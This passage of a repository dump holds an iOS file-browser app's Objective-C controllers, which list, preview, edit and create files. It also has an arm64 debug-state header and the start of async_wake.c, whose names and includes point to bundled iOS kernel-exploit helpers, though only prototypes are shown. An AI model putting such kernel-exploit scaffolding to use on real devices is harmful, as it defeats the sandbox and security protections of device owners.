21 | - (instancetype)initWithFile:(NSString *)file;
22 |
23 | @end
24 |
--------------------------------------------------------------------------------
/Files/FBCustomPreviewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // FBCustomPreviewController.m
3 | // FileBrowser
4 | //
5 | // Created by Steven Troughton-Smith on 29/09/2014.
6 | // Copyright (c) 2014 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FBCustomPreviewController.h"
10 |
11 | NSString *filepath;
12 |
13 | @implementation FBCustomPreviewController
14 |
15 | - (instancetype)initWithFile:(NSString *)file
16 | {
17 | self = [super init];
18 | if (self) {
19 |
20 | textView = [[UITextView alloc] initWithFrame:[UIScreen mainScreen].bounds];
21 | textView.editable = YES;
22 | textView.backgroundColor = [UIColor whiteColor];
23 |
24 | imageView = [[UIImageView alloc] initWithFrame:[UIScreen mainScreen].bounds];
25 | imageView.contentMode = UIViewContentModeScaleAspectFit;
26 |
27 | imageView.backgroundColor = [UIColor whiteColor];
28 |
29 | [self loadFile:file];
30 |
31 | }
32 | return self;
33 | }
34 |
35 | +(BOOL)canHandleExtension:(NSString *)fileExt
36 | {
37 | NSLog(@"fileExt %@", fileExt);
38 |
39 | // if ((int)UI_USER_INTERFACE_IDIOM() != 4) // Don't use QuickLook for images on watchOS
40 | // return ([fileExt isEqualToString:@"txt"] || [fileExt isEqualToString:@"plist"] || [fileExt isEqualToString:@"strings"] || [fileExt isEqualToString:@"xcconfig"] );
41 |
42 | return ([fileExt isEqualToString:@"txt"] || [fileExt isEqualToString:@"plist"] || [fileExt isEqualToString:@"strings"] || [fileExt isEqualToString:@"png"] || [fileExt isEqualToString:@"xcconfig"] || [fileExt isEqualToString:@"xml"] || [fileExt isEqualToString:@""]);
43 | }
44 |
45 | -(void)loadFile:(NSString *)file
46 | {
47 | filepath = [file copy];
48 |
49 | if ([file.pathExtension isEqualToString:@"plist"] || [file.pathExtension isEqualToString:@"strings"] || [file.pathExtension isEqualToString:@"xml"] || [file.pathExtension isEqualToString:@""])
50 | {
51 | //NSDictionary *d = [NSDictionary dictionaryWithContentsOfFile:file];
52 | //[textView setText:[d description]];
53 | NSString *content = [NSString stringWithContentsOfFile:file
54 | encoding:NSUTF8StringEncoding
55 | error:NULL];
56 | [textView setText:content];
57 | self.view = textView;
58 | }
59 | else if ([file.pathExtension isEqualToString:@"xcconfig"])
60 | {
61 | NSString *d = [NSString stringWithContentsOfFile:file encoding:NSUTF8StringEncoding error:nil];
62 | [textView setText:d];
63 | self.view = textView;
64 | }
65 | else
66 | {
67 | imageView.image = [UIImage imageWithContentsOfFile:file];
68 | self.view = imageView;
69 | }
70 |
71 | self.title = file.lastPathComponent;
72 | UIBarButtonItem *savebtn = [[UIBarButtonItem alloc] initWithTitle:@"Save" style:UIBarButtonItemStylePlain target:self action:@selector(saveFile)];
73 | [self.navigationItem setLeftBarButtonItem:savebtn];
74 | [self.navigationController setToolbarHidden:NO];
75 |
76 | }
77 |
78 | -(void)saveFile {
79 | //NSLog(@"HELLO");
80 | NSLog(@"file: %@", filepath);
81 | NSLog(@"new content: %@", textView.text);
82 |
83 | NSError *error;
84 | [textView.text writeToFile:filepath atomically:YES encoding:NSUTF8StringEncoding error:&error];
85 | if (error)
86 | NSLog(@"error saving %@", error);
87 |
88 | }
89 |
90 | @end
91 |
--------------------------------------------------------------------------------
/Files/FBFilesTableViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // FBFilesTableViewController.h
3 | // FileBrowser
4 | //
5 | // Created by Steven Troughton-Smith on 18/06/2013.
6 | // Copyright (c) 2013 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 | #import
11 |
12 | @class FBColumnViewController;
13 |
14 | @interface FBFilesTableViewController : UITableViewController
15 |
16 | @property (strong) FBColumnViewController *columnViewController;
17 |
18 | -(id)initWithPath:(NSString *)path;
19 | -(void)highlightPathComponent:(NSString *)pathComponent;
20 |
21 | @property (strong) NSString *path;
22 | @property (strong) NSArray *files;
23 | @end
24 |
--------------------------------------------------------------------------------
/Files/FBFilesTableViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // FBFilesTableViewController.m
3 | // FileBrowser
4 | //
5 | // Created by Steven Troughton-Smith on 18/06/2013.
6 | // Copyright (c) 2013 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FBFilesTableViewController.h"
10 | #import "FBCustomPreviewController.h"
11 | #import "FBColumnViewController.h"
12 | #import "FBColumnNavigationController.h"
13 | #import "FBQLPreviewController.h"
14 |
15 | @implementation FBFilesTableViewController
16 |
17 | NSString *currentpath;
18 |
19 | - (id)initWithPath:(NSString *)path
20 | {
21 | currentpath = [path copy];
22 | self = [super initWithStyle:UITableViewStylePlain];
23 | if (self) {
24 |
25 | self.path = path;
26 |
27 | //self.title = [path lastPathComponent];
28 | self.title = path;
29 |
30 | NSError *error = nil;
31 | NSArray *tempFiles = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:path error:&error];
32 |
33 | if (error)
34 | {
35 | NSLog(@"ERROR: %@", error);
36 |
37 | if ([path isEqualToString:@"/System"])
38 | tempFiles = @[@"Library"];
39 |
40 | if ([path isEqualToString:@"/Library"])
41 | tempFiles = @[@"Preferences"];
42 |
43 | if ([path isEqualToString:@"/var"])
44 | tempFiles = @[@"mobile"];
45 |
46 | if ([path isEqualToString:@"/usr"])
47 | tempFiles = @[@"lib", @"libexec", @"bin"];
48 | }
49 |
50 | self.files = [tempFiles sortedArrayWithOptions:0 usingComparator:^NSComparisonResult(NSString* file1, NSString* file2) {
51 | NSString *newPath1 = [self.path stringByAppendingPathComponent:file1];
52 | NSString *newPath2 = [self.path stringByAppendingPathComponent:file2];
53 |
54 | BOOL isDirectory1, isDirectory2;
55 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath1 isDirectory:&isDirectory1];
56 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath2 isDirectory:&isDirectory2];
57 |
58 | if (isDirectory1 && !isDirectory2)
59 | return NSOrderedDescending;
60 |
61 | return NSOrderedAscending;
62 | }];
63 |
64 |
65 |
66 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBFileTableViewControllerNavigateUp" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) {
67 | [self navigateUp:self];
68 | }];
69 |
70 |
71 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBFileTableViewControllerNavigateDown" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) {
72 | [self navigateDown:self];
73 | }];
74 |
75 |
76 | UIBarButtonItem *itemCountBarItem = [[UIBarButtonItem alloc] initWithTitle:[NSString stringWithFormat:@"%lu item%@", (unsigned long)self.files.count, ((self.files.count == 0) || (self.files.count > 1)) ? @"s" : @""] style:UIBarButtonItemStylePlain target:nil action:nil];
77 | UIBarButtonItem *flexibleSpace = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemFlexibleSpace target:nil action:nil];
78 |
79 | itemCountBarItem.tintColor = [UIColor blackColor];
80 | [itemCountBarItem setTitleTextAttributes:@{NSFontAttributeName:[UIFont systemFontOfSize:14]} forState:UIControlStateNormal];
81 |
82 | [self setToolbarItems:@[flexibleSpace,itemCountBarItem,flexibleSpace]];
83 |
84 | UIBarButtonItem *new = [[UIBarButtonItem alloc] initWithTitle:@"New" style:UIBarButtonItemStylePlain target:self action:@selector(newFile)];
85 | [self.navigationItem setLeftBarButtonItem:new];
86 |
87 | [[NSNotificationCenter defaultCenter] addObserver:self
88 | selector:@selector(defaultsChanged:)
89 | name:NSUserDefaultsDidChangeNotification
90 | object:nil];
91 |
92 | [self sortFiles];
93 | }
94 | return self;
95 | }
96 | - (void)newFile {
97 | /* UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"New file" message:@"Enter file name:" delegate:self cancelButtonTitle:@"Cancel" otherButtonTitles:@"Create", nil];
98 | alert.alertViewStyle = UIAlertViewStylePlainTextInput;
99 | [alert show];*/
100 | //UIALERTCONTROLLERS SUCK, TAKES SO MUCH ROOM
101 |
102 | UIAlertController *alert= [UIAlertController
103 | alertControllerWithTitle:@"New file"
104 | message:@"Enter file name:"
105 | preferredStyle:UIAlertControllerStyleAlert];
106 |
107 | UIAlertAction* ok = [UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault
108 | handler:^(UIAlertAction * action){
109 | //Do Some action here
110 | UITextField *textField = alert.textFields[0];
111 | NSString *name = textField.text;
112 | NSLog(@"creating new file: %@/%@", self.title, name);
113 | NSString *go = [NSString stringWithFormat:@"%@/%@", self.title, name];
114 | [@"" writeToFile:go atomically:YES encoding:NSUTF8StringEncoding error:nil];
115 | [self sortFiles];
116 | [self.tableView reloadData];
117 | }];
118 | UIAlertAction* cancel = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleDefault
119 | handler:^(UIAlertAction * action) {
120 |
121 | NSLog(@"cancel btn");
122 |
123 | [alert dismissViewControllerAnimated:YES completion:nil];
124 |
125 | }];
126 |
127 | [alert addAction:ok];
128 | [alert addAction:cancel];
129 |
130 | [alert addTextFieldWithConfigurationHandler:^(UITextField *textField) {
131 | textField.placeholder = @"placeHolderText";
132 | textField.keyboardType = UIKeyboardTypeDefault;
133 | }];
134 |
135 | [self presentViewController:alert animated:YES completion:nil];
136 | }
137 | /*- (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex {
138 | if (buttonIndex == 1) {
139 | NSString *name = [[alertView textFieldAtIndex:0] text];
140 | NSLog(@"creating new file: %@/%@", self.title, name);
141 | NSString *go = [NSString stringWithFormat:@"%@/%@", self.title, name];
142 | [@"" writeToFile:go atomically:YES encoding:NSUTF8StringEncoding error:nil];
143 | [self sortFiles];
144 | [self.tableView reloadData];
145 |
146 | }
147 | }*/
148 | - (void)defaultsChanged:(NSNotification *)notification {
149 | [self sortFiles];
150 | }
151 |
152 | -(void)sortFiles
153 | {
154 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"];
155 | NSInteger sortingFilter = [defaults integerForKey:@"FBSortingFilter"];
156 |
157 | self.files = [self.files sortedArrayWithOptions:0 usingComparator:^NSComparisonResult(NSString* file1, NSString* file2) {
158 | NSString *newPath1 = [self.path stringByAppendingPathComponent:file1];
159 | NSString *newPath2 = [self.path stringByAppendingPathComponent:file2];
160 |
161 | BOOL isDirectory1, isDirectory2;
162 | [[NSFileManager defaultManager] fileExistsAtPath:newPath1 isDirectory:&isDirectory1];
163 | [[NSFileManager defaultManager] fileExistsAtPath:newPath2 isDirectory:&isDirectory2];
164 |
165 | if (sortingFilter == 0)
166 | {
167 | if (isDirectory1 && !isDirectory2)
168 | return NSOrderedDescending;
169 |
170 | return NSOrderedAscending;
171 | }
172 | else
173 | {
174 | if ([[file1 pathExtension] isEqualToString:[file2 pathExtension]])
175 | return [file1 localizedCaseInsensitiveCompare:file2];
176 |
177 | return [[file1 pathExtension] localizedCaseInsensitiveCompare:[file2 pathExtension]];
178 | }
179 | }];
180 |
181 | [self.tableView reloadData];
182 | }
183 |
184 | - (void)viewDidLoad
185 | {
186 | [super viewDidLoad];
187 | [self.navigationController setToolbarHidden:NO];
188 | }
189 |
190 | - (void)didReceiveMemoryWarning
191 | {
192 | [super didReceiveMemoryWarning];
193 | // Dispose of any resources that can be recreated.
194 | }
195 |
196 | #pragma mark - Keyboard Shortcuts
197 |
198 |
199 | -(BOOL)canBecomeFirstResponder
200 | {
201 | return YES;
202 | }
203 |
204 | -(NSArray *)keyCommands
205 | {
206 | return @[
207 | [UIKeyCommand keyCommandWithInput:UIKeyInputUpArrow modifierFlags:0 action:@selector(navigateUp:)],
208 | [UIKeyCommand keyCommandWithInput:UIKeyInputDownArrow modifierFlags:0 action:@selector(navigateDown:)],
209 | [UIKeyCommand keyCommandWithInput:@"\r" modifierFlags:0 action:@selector(navigateInto:)],
210 | [UIKeyCommand keyCommandWithInput:UIKeyInputEscape modifierFlags:0 action:@selector(navigateBack:)]
211 |
212 | ];
213 | }
214 |
215 |
216 |
217 | -(BOOL)isDirectoryAtIndexPath:(NSIndexPath *)path
218 | {
219 | NSString *filePath = [self.path stringByAppendingPathComponent:self.files[path.row]];
220 |
221 | BOOL isDirectory;
222 | [[NSFileManager defaultManager] fileExistsAtPath:filePath isDirectory:&isDirectory];
223 |
224 | return isDirectory;
225 | }
226 |
227 | -(void)navigateBack:(id)sender
228 | {
229 | [self.navigationController popViewControllerAnimated:YES];
230 | }
231 |
232 | -(void)navigateInto:(id)sender
233 | {
234 | if (self.files.count == 0)
235 | return;
236 |
237 | NSIndexPath *newPath = [self.tableView indexPathForSelectedRow];
238 | if ([self isDirectoryAtIndexPath:newPath])
239 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath];
240 |
241 | }
242 |
243 | -(void)navigateUp:(id)sender
244 | {
245 | if (self.files.count == 0)
246 | return;
247 |
248 | NSIndexPath *oldPath = [self.tableView indexPathForSelectedRow];
249 |
250 | if (oldPath.row > 0)
251 | {
252 | NSIndexPath *newPath = [NSIndexPath indexPathForRow:oldPath.row-1 inSection:0];
253 | [self.tableView selectRowAtIndexPath:newPath animated:YES scrollPosition:UITableViewScrollPositionMiddle];
254 |
255 | if (![self isDirectoryAtIndexPath:newPath])
256 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath];
257 | }
258 | }
259 |
260 | -(void)navigateDown:(id)sender
261 | {
262 | if (self.files.count == 0)
263 | return;
264 |
265 | NSIndexPath *oldPath = [self.tableView indexPathForSelectedRow];
266 |
267 | if (oldPath.row < self.files.count-1)
268 | {
269 | NSIndexPath *newPath = [NSIndexPath indexPathForRow:oldPath.row+1 inSection:0];
270 | [self.tableView selectRowAtIndexPath:newPath animated:YES scrollPosition:UITableViewScrollPositionMiddle];
271 |
272 | if (![self isDirectoryAtIndexPath:newPath])
273 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath];
274 |
275 | }
276 | }
277 |
278 | #pragma mark -
279 |
280 | -(void)highlightPathComponent:(NSString *)pathComponent
281 | {
282 | NSUInteger idx = [self.files indexOfObject:pathComponent];
283 |
284 | [self.tableView selectRowAtIndexPath:[NSIndexPath indexPathForRow:idx inSection:0] animated:YES scrollPosition:UITableViewScrollPositionTop];
285 | }
286 |
287 | #pragma mark - Table view data source
288 |
289 | -(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath
290 | {
291 | return 72.0;
292 | }
293 |
294 | - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
295 | {
296 | // Return the number of sections.
297 | return 1;
298 | }
299 |
300 | - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
301 | {
302 | // Return the number of rows in the section.
303 | return self.files.count;
304 | }
305 |
306 | - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
307 | {
308 | static NSString *CellIdentifier = @"FileCell";
309 | UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];
310 |
311 | if (!cell)
312 | cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:CellIdentifier];
313 |
314 |
315 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]];
316 |
317 | BOOL isDirectory;
318 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath isDirectory:&isDirectory];
319 |
320 |
321 |
322 |
323 | cell.textLabel.text = self.files[indexPath.row];
324 | cell.textLabel.textAlignment = NSTextAlignmentLeft;
325 | if (isDirectory)
326 | {
327 | NSUInteger fileCount = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:newPath error:nil].count;
328 |
329 | cell.detailTextLabel.text = [NSString stringWithFormat:@"%lu item%@", (unsigned long)fileCount, ((fileCount == 0) || (fileCount > 1)) ? @"s" : @""];
330 | }
331 | else
332 | {
333 | NSDictionary *attribs = [[NSFileManager defaultManager] attributesOfItemAtPath:newPath error:nil];
334 |
335 | cell.detailTextLabel.text = [NSByteCountFormatter stringFromByteCount:[attribs fileSize] countStyle:NSByteCountFormatterCountStyleFile];
336 | }
337 |
338 | cell.detailTextLabel.textColor = [UIColor lightGrayColor];
339 |
340 | cell.selectedBackgroundView = [UIView new];
341 | cell.selectedBackgroundView.backgroundColor = [UIColor colorWithRed:0.882 green:0.961 blue:0.996 alpha:1.000];
342 |
343 | cell.imageView.tintColor = [UIColor colorWithRed:0.565 green:0.773 blue:0.878 alpha:1.000];
344 |
345 | if (isDirectory)
346 | cell.imageView.image = [UIImage imageNamed:@"Folder"];
347 | else if ([[newPath pathExtension] isEqualToString:@"png"])
348 | cell.imageView.image = [UIImage imageNamed:@"Picture"];
349 | else
350 | cell.imageView.image = [UIImage imageNamed:@"Document"];
351 |
352 | #if 0
353 | if (fileExists && !isDirectory)
354 | cell.accessoryType = UITableViewCellAccessoryDetailButton;
355 | else
356 | cell.accessoryType = UITableViewCellAccessoryNone;
357 | #endif
358 |
359 | return cell;
360 | }
361 |
362 | - (void)tableView:(UITableView *)tableView accessoryButtonTappedForRowWithIndexPath:(NSIndexPath *)indexPath
363 | {
364 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]];
365 |
366 | NSString *tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:newPath.lastPathComponent];
367 |
368 | NSError *error = nil;
369 |
370 | [[NSFileManager defaultManager] copyItemAtPath:newPath toPath:tmpPath error:&error];
371 |
372 | if (error)
373 | NSLog(@"ERROR: %@", error);
374 |
375 | UIActivityViewController *shareActivity = [[UIActivityViewController alloc] initWithActivityItems:@[[NSURL fileURLWithPath:tmpPath]] applicationActivities:nil];
376 |
377 | shareActivity.completionWithItemsHandler = ^(NSString * __nullable activityType, BOOL completed, NSArray * __nullable returnedItems, NSError * __nullable activityError)
378 | {
379 | [[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil];
380 | };
381 |
382 |
383 | UIViewController *vc = [[UIViewController alloc] init];
384 | UINavigationController *nc = [[UINavigationController alloc] initWithRootViewController:vc];
385 | nc.modalPresentationStyle = UIModalPresentationOverCurrentContext;
386 |
387 | [self.navigationController presentViewController:nc animated:YES completion:^{
388 |
389 | }];
390 | }
391 |
392 | - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath
393 | {
394 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]];
395 |
396 |
397 | BOOL isDirectory;
398 | BOOL fileExists = [[NSFileManager defaultManager ] fileExistsAtPath:newPath isDirectory:&isDirectory];
399 |
400 |
401 | if (fileExists)
402 | {
403 | if (isDirectory)
404 | {
405 | [self.columnViewController popToViewController:self.parentViewController];
406 |
407 | FBFilesTableViewController *vc = [[FBFilesTableViewController alloc] initWithPath:newPath];
408 |
409 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:vc];
410 | [self.columnViewController pushViewController:detailNavController];
411 |
412 | }
413 | else
414 | {
415 | if ([[[NSBundle mainBundle] bundleIdentifier] isEqualToString:@"com.highcaffeinecontent.Files.FilesDocumentProvider"])
416 | {
417 | [[NSNotificationCenter defaultCenter] postNotificationName:@"FBPickedFileURL" object:[NSURL fileURLWithPath:newPath]];
418 | }
419 | else
420 | {
421 | if ([FBCustomPreviewController canHandleExtension:[newPath pathExtension]])
422 | {
423 | [self.columnViewController popToViewController:self.parentViewController];
424 |
425 | FBCustomPreviewController *preview = [[FBCustomPreviewController alloc] initWithFile:newPath];
426 |
427 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:preview];
428 |
429 | [self.columnViewController pushDetailViewController:detailNavController];
430 | }
431 | else
432 | {
433 | [self.columnViewController popToViewController:self.parentViewController];
434 |
435 | FBQLPreviewController *preview = [[FBQLPreviewController alloc] init];
436 | preview.dataSource = self;
437 |
438 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:preview];
439 | [self.columnViewController pushDetailViewController:detailNavController];
440 |
441 | }
442 | }
443 | }
444 |
445 | }
446 |
447 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
448 | {
449 | [self.tableView deselectRowAtIndexPath:indexPath animated:YES];
450 | }
451 | }
452 |
453 | #pragma mark - QuickLook
454 |
455 | - (BOOL)previewController:(QLPreviewController *)controller shouldOpenURL:(NSURL *)url forPreviewItem:(id )item {
456 |
457 | return YES;
458 | }
459 |
460 | - (NSInteger) numberOfPreviewItemsInPreviewController: (QLPreviewController *) controller {
461 | return 1;
462 | }
463 |
464 | - (id ) previewController: (QLPreviewController *) controller previewItemAtIndex: (NSInteger) index {
465 |
466 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[self.tableView.indexPathForSelectedRow.row]];
467 |
468 | return [NSURL fileURLWithPath:newPath];
469 | }
470 |
471 | @end
472 |
--------------------------------------------------------------------------------
/Files/FBQLPreviewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // FBQLPreviewController.h
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 12/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @class FBColumnViewController;
12 |
13 | @interface FBQLPreviewController : QLPreviewController
14 | @property (strong) FBColumnViewController *columnViewController;
15 |
16 | @end
17 |
--------------------------------------------------------------------------------
/Files/FBQLPreviewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // FBQLPreviewController.m
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 12/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FBQLPreviewController.h"
10 |
11 | @implementation FBQLPreviewController
12 |
13 | -(BOOL)canBecomeFirstResponder
14 | {
15 | return NO; // Don't let QLPreviewController interfere with keyboard shortcuts
16 | }
17 |
18 | -(void)viewWillAppear:(BOOL)animated
19 | {
20 | [super viewWillAppear:animated];
21 | [self.navigationController setToolbarHidden:NO];
22 | }
23 | @end
24 |
--------------------------------------------------------------------------------
/Files/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | en
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIdentifier
10 | $(PRODUCT_BUNDLE_IDENTIFIER)
11 | CFBundleInfoDictionaryVersion
12 | 6.0
13 | CFBundleName
14 | $(PRODUCT_NAME)
15 | CFBundlePackageType
16 | APPL
17 | CFBundleShortVersionString
18 | 1.0
19 | CFBundleSignature
20 | ????
21 | CFBundleVersion
22 | 1
23 | LSRequiresIPhoneOS
24 |
25 | UILaunchStoryboardName
26 | LaunchScreen
27 | UIRequiredDeviceCapabilities
28 |
29 | armv7
30 |
31 | UISupportedInterfaceOrientations
32 |
33 | UIInterfaceOrientationPortrait
34 | UIInterfaceOrientationLandscapeLeft
35 | UIInterfaceOrientationLandscapeRight
36 |
37 | UISupportedInterfaceOrientations~ipad
38 |
39 | UIInterfaceOrientationPortrait
40 | UIInterfaceOrientationPortraitUpsideDown
41 | UIInterfaceOrientationLandscapeLeft
42 | UIInterfaceOrientationLandscapeRight
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/Files/arm64_state.h:
--------------------------------------------------------------------------------
1 | #ifndef arm64_state_h
2 | #define arm64_state_h
3 |
4 | /*
5 | * GPR context
6 | */
7 |
8 | struct arm_saved_state32 {
9 | uint32_t r[13]; /* General purpose register r0-r12 */
10 | uint32_t sp; /* Stack pointer r13 */
11 | uint32_t lr; /* Link register r14 */
12 | uint32_t pc; /* Program counter r15 */
13 | uint32_t cpsr; /* Current program status register */
14 | uint32_t far; /* Virtual fault address */
15 | uint32_t esr; /* Exception syndrome register */
16 | uint32_t exception; /* Exception number */
17 | };
18 | typedef struct arm_saved_state32 arm_saved_state32_t;
19 |
20 | struct arm_saved_state32_tagged {
21 | uint32_t tag;
22 | struct arm_saved_state32 state;
23 | };
24 | typedef struct arm_saved_state32_tagged arm_saved_state32_tagged_t;
25 |
26 | #define ARM_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \
27 | (sizeof (arm_saved_state32_t)/sizeof(unsigned int)))
28 |
29 | struct arm_saved_state64 {
30 | uint64_t x[29]; /* General purpose registers x0-x28 */
31 | uint64_t fp; /* Frame pointer x29 */
32 | uint64_t lr; /* Link register x30 */
33 | uint64_t sp; /* Stack pointer x31 */
34 | uint64_t pc; /* Program counter */
35 | uint32_t cpsr; /* Current program status register */
36 | uint32_t reserved; /* Reserved padding */
37 | uint64_t far; /* Virtual fault address */
38 | uint32_t esr; /* Exception syndrome register */
39 | uint32_t exception; /* Exception number */
40 | };
41 | typedef struct arm_saved_state64 arm_saved_state64_t;
42 |
43 | #define ARM_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \
44 | (sizeof (arm_saved_state64_t)/sizeof(unsigned int)))
45 |
46 | struct arm_saved_state {
47 | arm_state_hdr_t ash;
48 | union {
49 | struct arm_saved_state32 ss_32;
50 | struct arm_saved_state64 ss_64;
51 | } uss;
52 | } __attribute__((aligned(16)));
53 | #define ss_32 uss.ss_32
54 | #define ss_64 uss.ss_64
55 |
56 | typedef struct arm_saved_state arm_saved_state_t;
57 |
58 | /*
59 | * NEON context
60 | */
61 | typedef __uint128_t uint128_t;
62 | typedef uint64_t uint64x2_t __attribute__((ext_vector_type(2)));
63 | typedef uint32_t uint32x4_t __attribute__((ext_vector_type(4)));
64 |
65 | struct arm_neon_saved_state32 {
66 | union {
67 | uint128_t q[16];
68 | uint64_t d[32];
69 | uint32_t s[32];
70 | } v;
71 | uint32_t fpsr;
72 | uint32_t fpcr;
73 | };
74 | typedef struct arm_neon_saved_state32 arm_neon_saved_state32_t;
75 |
76 | #define ARM_NEON_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \
77 | (sizeof (arm_neon_saved_state32_t)/sizeof(unsigned int)))
78 |
79 | struct arm_neon_saved_state64 {
80 | union {
81 | uint128_t q[32];
82 | uint64x2_t d[32];
83 | uint32x4_t s[32];
84 | } v;
85 | uint32_t fpsr;
86 | uint32_t fpcr;
87 | };
88 | typedef struct arm_neon_saved_state64 arm_neon_saved_state64_t;
89 |
90 | #define ARM_NEON_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \
91 | (sizeof (arm_neon_saved_state64_t)/sizeof(unsigned int)))
92 |
93 | struct arm_neon_saved_state {
94 | arm_state_hdr_t nsh;
95 | union {
96 | struct arm_neon_saved_state32 ns_32;
97 | struct arm_neon_saved_state64 ns_64;
98 | } uns;
99 | };
100 | typedef struct arm_neon_saved_state arm_neon_saved_state_t;
101 | #define ns_32 uns.ns_32
102 | #define ns_64 uns.ns_64
103 |
104 | struct arm_context {
105 | struct arm_saved_state ss;
106 | struct arm_neon_saved_state ns;
107 | };
108 | typedef struct arm_context arm_context_t;
109 |
110 | #define ARM_SAVED_STATE64 0x15
111 |
112 | #define ARM_DEBUG_STATE64 15
113 | const uint64_t ACT_DEBUGDATA_OFFSET = 0x438;
114 |
115 | struct arm64_debug_state
116 | {
117 | __uint64_t bvr[16];
118 | __uint64_t bcr[16];
119 | __uint64_t wvr[16];
120 | __uint64_t wcr[16];
121 | __uint64_t mdscr_el1; /* Bit 0 is SS (Hardware Single Step) */
122 | };
123 |
124 | struct arm_debug_aggregate_state {
125 | arm_state_hdr_t dsh;
126 | struct arm64_debug_state ds64;
127 | } __attribute__((aligned(16)));
128 |
129 |
130 |
131 | #endif
132 |
--------------------------------------------------------------------------------
/Files/async_wake.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #import
6 | #import
7 | #import
8 | #import
9 | #import
10 | #import
11 | #import
12 |
13 | #include
14 |
15 | #include
16 |
17 | #include
18 |
19 | #include "async_wake.h"
20 | #include "kmem.h"
21 | #include "find_port.h"
22 | #include "kutils.h"
23 | #include "symbols.h"
24 | #include "early_kalloc.h"
25 | #include "kcall.h"
26 | #include "kdbg.h"
27 |
28 | // various prototypes and structure definitions for missing iOS headers:
29 |
30 | kern_return_t mach_vm_read(
31 | vm_map_t target_task,
32 | mach_vm_address_t address,
33 | mach_vm_size_t size,
34 | vm_offset_t *data,
35 | mach_msg_type_number_t *dataCnt);
36 |
37 | /****** IOKit/IOKitLib.h *****/
38 | typedef mach_port_t io_service_t;
39 | typedef mach_port_t io_connect_t;
40 |
41 | extern const mach_port_t kIOMasterPortDefault;
42 | #define IO_OBJECT_NULL (0)
43 |
44 | kern_return_t
45 | IOConnectCallAsyncMethod(
46 | mach_port_t connection,
47 | uint32_t selector,
48 | mach_port_t wakePort,
49 | uint64_t* reference,
50 | uint32_t referenceCnt,
51 | const uint64_t* input,
52 | uint32_t inputCnt,
53 | const void* inputStruct,
54 | size_t inputStructCnt,
55 | uint64_t* output,
56 | uint32_t* outputCnt,
57 | void* outputStruct,
58 | size_t* outputStructCntP);
59 |
60 | kern_return_t
61 | IOConnectCallMethod(
62 | mach_port_t connection,
63 | uint32_t selector,
64 | const uint64_t* input,
65 | uint32_t inputCnt,
66 | const void* inputStruct,
67 | size_t inputStructCnt,
68 | uint64_t* output,
69 | uint32_t* outputCnt,
70 | void* outputStruct,
71 | size_t* outputStructCntP);
72 |
73 | io_service_t
74 | IOServiceGetMatchingService(
75 | mach_port_t _masterPort,
76 | CFDictionaryRef matching);
77 |
78 | CFMutableDictionaryRef
79 | IOServiceMatching(
80 | const char* name);
81 |
82 | kern_return_t
83 | IOServiceOpen(
84 | io_service_t service,
85 | task_port_t owningTask,
86 | uint32_t type,
87 | io_connect_t* connect );
88 |
89 |
90 | /******** end extra headers ***************/
91 |
